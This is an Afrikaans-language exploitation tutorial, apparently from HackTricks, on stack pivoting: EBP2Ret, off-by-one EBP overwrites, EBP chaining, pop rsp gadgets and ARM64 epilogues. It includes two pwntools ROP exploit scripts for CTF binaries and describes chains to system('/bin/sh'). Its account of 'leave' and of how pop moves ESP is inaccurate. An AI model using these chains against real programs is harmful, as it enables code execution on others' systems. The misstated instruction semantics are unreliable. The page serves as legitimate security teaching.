# Stap Pivotering - EBP2Ret - EBP ketting {{#include ../../banners/hacktricks-training.md}} ## Basiese Inligting Hierdie tegniek benut die vermoë om die **Basis Wyser (EBP)** te manipuleer om die uitvoering van verskeie funksies te ketting deur versigtige gebruik van die EBP-register en die **`leave; ret`** instruksie volgorde. Ter herinnering, **`leave`** beteken basies: ``` mov ebp, esp pop ebp ret ``` En aangesien die **EBP in die stapel is** voor die EIP, is dit moontlik om dit te beheer deur die stapel te beheer. ### EBP2Ret Hierdie tegniek is veral nuttig wanneer jy **die EBP-register kan verander, maar geen direkte manier het om die EIP-register te verander nie**. Dit benut die gedrag van funksies wanneer hulle klaar is met uitvoer. As jy, tydens die uitvoering van `fvuln`, daarin slaag om 'n **valse EBP** in die stapel in te spuit wat na 'n area in geheue wys waar jou shellcode se adres geleë is (plus 4 bytes om rekening te hou met die `pop` operasie), kan jy indirek die EIP beheer. Terwyl `fvuln` terugkeer, word die ESP op hierdie vervaardigde ligging gestel, en die daaropvolgende `pop` operasie verminder ESP met 4, **wat dit effektief laat wys na 'n adres wat deur die aanvaller daar gestoor is.**\ Let daarop dat jy **2 adresse moet weet**: Die een waarheen ESP gaan, waar jy die adres moet skryf wat deur ESP aangedui word. #### Exploit Konstruksie Eerstens moet jy 'n **adres weet waar jy arbitrêre data / adresse kan skryf**. Die ESP sal hierheen wys en **die eerste `ret` uitvoer**. Dan moet jy die adres weet wat deur `ret` gebruik word wat **arbitrêre kode sal uitvoer**. Jy kan gebruik: - 'n Geldige [**ONE_GADGET**](https://github.com/david942j/one_gadget) adres. - Die adres van **`system()`** gevolg deur **4 rommel bytes** en die adres van `"/bin/sh"` (x86 bits). - Die adres van 'n **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) gevolg deur die **shellcode** om uit te voer. - Sommige [**ROP**](../rop-return-oriented-programing/) ketting Onthou dat daar voor enige van hierdie adresse in die beheerde deel van die geheue, **`4` bytes** moet wees as gevolg van die **`pop`** deel van die `leave` instruksie. Dit sal moontlik wees om hierdie 4B te misbruik om 'n **tweede valse EBP** in te stel en voort te gaan om die uitvoering te beheer. #### Off-By-One Exploit Daar is 'n spesifieke variant van hierdie tegniek bekend as 'n "Off-By-One Exploit". Dit word gebruik wanneer jy **slegs die minste betekenisvolle byte van die EBP kan verander**. In so 'n geval moet die geheue ligging wat die adres stoor om na te spring met die **`ret`** die eerste drie bytes met die EBP deel, wat 'n soortgelyke manipulasie met meer beperkte toestande moontlik maak.\ Gewoonlik word die byte 0x00 verander om so ver as moontlik te spring. Dit is ook algemeen om 'n RET sled in die stapel te gebruik en die werklike ROP-ketting aan die einde te plaas om dit meer waarskynlik te maak dat die nuwe ESP binne die RET SLED wys en die finale ROP-ketting uitgevoer word. ### **EBP Ketting** Daarom, deur 'n beheerde adres in die `EBP` invoer van die stapel te plaas en 'n adres na `leave; ret` in `EIP`, is dit moontlik om **die `ESP` na die beheerde `EBP` adres van die stapel te beweeg**. Nou is die **`ESP`** beheerde wat na 'n gewenste adres wys en die volgende instruksie om uit te voer is 'n `RET`. Om dit te misbruik, is dit moontlik om in die beheerde ESP plek dit te plaas: - **`&(next fake EBP)`** -> Laai die nuwe EBP as gevolg van `pop ebp` van die `leave` instruksie - **`system()`** -> Geroep deur `ret` - **`&(leave;ret)`** -> Geroep nadat die stelsel eindig, dit sal ESP na die valse EBP beweeg en weer begin - **`&("/bin/sh")`**-> Param vir `system` Basies is dit op hierdie manier moontlik om verskeie valse EBPs te ketting om die vloei van die program te beheer. Dit is soos 'n [ret2lib](../rop-return-oriented-programing/ret2lib/), maar meer kompleks sonder enige ooglopende voordeel, maar kan interessant wees in sommige randgevalle. Boonop het jy hier 'n [**voorbeeld van 'n uitdaging**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) wat hierdie tegniek gebruik met 'n **stapel lek** om 'n wenfunksie aan te roep. Dit is die finale payload van die bladsy: ```python from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) log.success(f'Buffer: {hex(buffer)}') LEAVE_RET = 0x40117c POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( 0x0, # rbp (could be the address of anoter fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( buffer, # Load leak address in RBP LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` ## EBP mag dalk nie gebruik word nie Soos [**in hierdie pos verduidelik**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), as 'n binêre met sekere optimaliseringe gecompileer word, **kry EBP nooit beheer oor ESP nie**, daarom sal enige ontploffing wat werk deur EBP te beheer basies misluk omdat dit nie 'n werklike effek het nie.\ Dit is omdat die **proloog en epiloog verander** as die binêre geoptimaliseer is. - **Nie geoptimaliseer nie:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp sub $0x100,%esp # increase stack size . . . leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - **Geoptimaliseer:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` ## Ander maniere om RSP te beheer ### **`pop rsp`** gadget [**Op hierdie bladsy**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) kan jy 'n voorbeeld vind wat hierdie tegniek gebruik. Vir hierdie uitdaging was dit nodig om 'n funksie met 2 spesifieke argumente aan te roep, en daar was 'n **`pop rsp` gadget** en daar is 'n **leak van die stapel**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user log.success(f'Buffer: {hex(buffer)}') POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( 0, # r13 0, # r14 0, # r15 POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, # r15 elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( POP_CHAIN, buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` ### xchg \, rsp gadget ``` pop <=== return pointer xchg , rsp ``` ### jmp esp Kyk die ret2esp tegniek hier: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} ## Verwysings & Ander Voorbeelde - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - 64 bits, off by one uitbuiting met 'n rop ketting wat begin met 'n ret sled - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - 64 bit, geen relro, canary, nx en pie. Die program bied 'n leak vir stack of pie en 'n WWW van 'n qword. Kry eers die stack leak en gebruik die WWW om terug te gaan en die pie leak te kry. Gebruik dan die WWW om 'n ewige lus te skep wat `.fini_array` inskrywings misbruik + `__libc_csu_fini` aanroep ([meer inligting hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Deur hierdie "ewige" skrywe te misbruik, word 'n ROP ketting in die .bss geskryf en eindig op om dit te bel met RBP. ## ARM64 In ARM64, die **proloog en epiloge** van die funksies **stoor en herwin nie die SP registrasie** in die stack nie. Boonop, die **`RET`** instruksie keer nie terug na die adres wat deur SP aangedui word nie, maar **na die adres binne `x30`**. Daarom, standaard, deur net die epiloog te misbruik, **sal jy nie in staat wees om die SP registrasie te beheer** deur sommige data binne die stack te oorskryf nie. En selfs as jy daarin slaag om die SP te beheer, sal jy steeds 'n manier nodig hê om **die `x30`** registrasie te **beheer**. - proloog ```armasm sub sp, sp, 16 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 mov x29, sp // FP wys na raamrekord ``` - epiloge ```armasm ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] add sp, sp, 16 ret ``` > [!CAUTION] > Die manier om iets soortgelyks aan stack pivoting in ARM64 uit te voer, sou wees om in staat te wees om die **`SP`** te **beheer** (deur 'n registrasie te beheer waarvan die waarde aan `SP` oorgedra word of omdat om een of ander rede `SP` sy adres van die stack neem en ons 'n oorskrywing het) en dan die **epiloog te misbruik** om die **`x30`** registrasie van 'n **beheerde `SP`** te laai en **`RET`** daarna toe. Ook op die volgende bladsy kan jy die ekwivalent van **Ret2esp in ARM64** sien: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} {{#include ../../banners/hacktricks-training.md}}